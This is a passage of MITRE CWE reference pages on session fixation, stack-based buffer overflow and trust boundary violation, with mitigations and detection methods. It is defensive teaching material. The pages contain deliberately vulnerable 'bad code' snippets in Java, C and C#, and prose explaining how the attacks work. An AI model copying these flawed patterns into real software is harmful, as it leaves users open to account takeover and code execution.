(CWE 4.0, 2020-02-24) 		Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi Intel Corporation
+ Contributions
Contribution Date Contributor Organization
2021-10-20 Narasimha Kumar V Mangipudi Lattice Semiconductor
reviewed content changes
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2022-04-28 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2021-10-28 CWE Content Team MITRE
updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
+ Previous Entry Names
Change Date Previous Entry Name
2021-10-28 Improper Hardware Lock Protection for Security Sensitive Controls
Back to top

CWE-384: Session Fixation

Weakness ID: 384 (Structure: Composite) Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.
+ Extended Description

Such a scenario is commonly observed when:

  • A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
  • An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
  • The application or container uses predictable session identifiers.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Invalidate any existing session identifiers prior to authorizing a new user session.

Architecture and Design
For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.
+ Composite Components
Nature Type ID Name
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 346 Origin Validation Error
Requires ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 441 Unintended Proxy or Intermediary ('Confused Deputy')
Requires BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 472 External Control of Assumed-Immutable Web Parameter
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
CanFollow Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 340 Generation of Predictable Numbers or Identifiers
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 610 Externally Controlled Reference to a Resource in Another Sphere
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1018 Manage User Sessions
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().

(bad code)
Example Language: Java 
private void auth(LoginContext lc, HttpSession session) throws LoginException {
...
lc.login();
...
}

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].



Example 2


The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the <code>j_security_check</code>, which typically does not invalidate the existing session before processing the login request.

(bad code)
Example Language: HTML 
<form method="POST" action="j_security_check">
<input type="text" name="j_username">
<input type="text" name="j_password">
</form>


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Website software for game servers does not proprerly terminate user sessions, allowing for possible session fixation
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 361 7PK - Time and State
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 724 OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 930 OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1028 OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Other

Rationale

This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.

Comments

While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine which weaknesses allow session fixation to occur, and map to those weaknesses. For example, predictable session identifiers might enable session fixation attacks to succeed; if this occurs, they might be better characterized as randomness/predictability weaknesses.
+ Notes

Other

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Session Fixation
OWASP Top Ten 2004 A3 CWE More Specific Broken Authentication and Session Management
WASC 37 Session Fixation
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated Relationships
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Description
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2013-07-17 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-02-16 CWE Content Team MITRE
updated Taxonomy_Mappings
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-08-15 Veracode
Suggested OWASP Top Ten 2004 mapping
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-121: Stack-based Buffer Overflow

Weakness ID: 121
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).
+ Alternate Terms
Stack Overflow
"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Modify Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

Scope: Availability

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Modify Memory; Execute Unauthorized Code or Commands; Bypass Protection Mechanism

Scope: Integrity, Confidentiality, Availability, Access Control

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Modify Memory; Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Other

Scope: Integrity, Confidentiality, Availability, Access Control, Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.
+ Potential Mitigations
Phase(s) Mitigation

Operation; Build and Compilation

Strategy: Environment Hardening

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

This is not necessarily a complete solution, since these mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Architecture and Design
Use an abstraction library to abstract away risky APIs. Not a complete solution.

Implementation
Implement and perform bounds checking on input.

Implementation
Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Operation; Build and Compilation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Note: These techniques do not provide a complete solution. For instance, exploits frequently use a bug that discloses memory addresses in order to maximize reliability of code execution [REF-1337]. It has also been shown that a side-channel attack can bypass ASLR [REF-1333]
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 787 Out-of-bounds Write
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 788 Access of Memory Location After End of Buffer
+ Background Details
There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

C (Often Prevalent)

C++ (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

(bad code)
Example Language: C 
#define BUFSIZE 256
int main(int argc, char **argv) {
char buf[BUFSIZE];
strcpy(buf, argv[1]);
}

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.



Example 2


This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)
Example Language: C 
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */

validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Fuzzing
Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 970 SFP Secondary Cluster: Faulty Buffer Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1160 SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1161 SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1399 Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Stack overflow
Software Fault Patterns SFP8 Faulty Buffer Access
CERT C Secure Coding ARR38-C Imprecise Guarantee that library functions do not form invalid pointers
CERT C Secure Coding STR31-C CWE More Specific Guarantee that storage for strings has sufficient space for character data and the null terminator
+ References
[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08.
<http://phrack.org/issues/49/14.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Stack Overruns" Page 129. 2nd Edition. Microsoft Press. 2002-12-04.
<https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista".
<https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. (URL validated: 2023-04-07)
[REF-60] "PaX".
<https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. (URL validated: 2023-04-07)
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28.
<https://www.redhat.com/en/blog/position-independent-executables-pie>. (URL validated: 2023-04-07)
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05.
<https://lwn.net/Articles/190139/>. (URL validated: 2023-04-26)
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016.
<http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. (URL validated: 2023-04-26)
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023.
<https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. (URL validated: 2023-04-26)
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023.
<https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. (URL validated: 2023-04-26)
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008.
<https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. (URL validated: 2023-04-26)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Applicable_Platforms
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Potential_Mitigations, References, Relationships, Time_of_Introduction
2022-06-28 CWE Content Team MITRE
updated Observed_Examples
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples, References
2020-06-25 CWE Content Team MITRE
updated Common_Consequences
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-09-19 CWE Content Team MITRE
updated References
2019-01-03 CWE Content Team MITRE
updated Relationships
2018-03-27 CWE Content Team MITRE
updated References
2017-11-08 CWE Content Team MITRE
updated Background_Details, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples, Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Demonstrative_Examples, References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-02-16 CWE Content Team MITRE
updated References
2009-10-29 CWE Content Team MITRE
updated Relationships
2009-07-27 CWE Content Team MITRE
updated Potential_Mitigations, White_Box_Definitions
2009-07-17 KDM Analytics
Improved the White_Box_Definition
2009-01-12 CWE Content Team MITRE
updated Common_Consequences, Relationships
2008-09-08 CWE Content Team MITRE
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-08-01 KDM Analytics
added/updated white box definitions
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
Back to top

CWE-501: Trust Boundary Violation

Weakness ID: 501
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product mixes trusted and untrusted data in the same data structure or structured message.
+ Extended Description
A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 664 Improper Control of a Resource Through its Lifetime
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 265 Privilege Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

(bad code)
Example Language: Java 
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
session.setAttribute(ATTR_USR, usrname);
}
(bad code)
Example Language: C# 
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
session.Add(ATTR_USR, usrname);
}

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.



+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
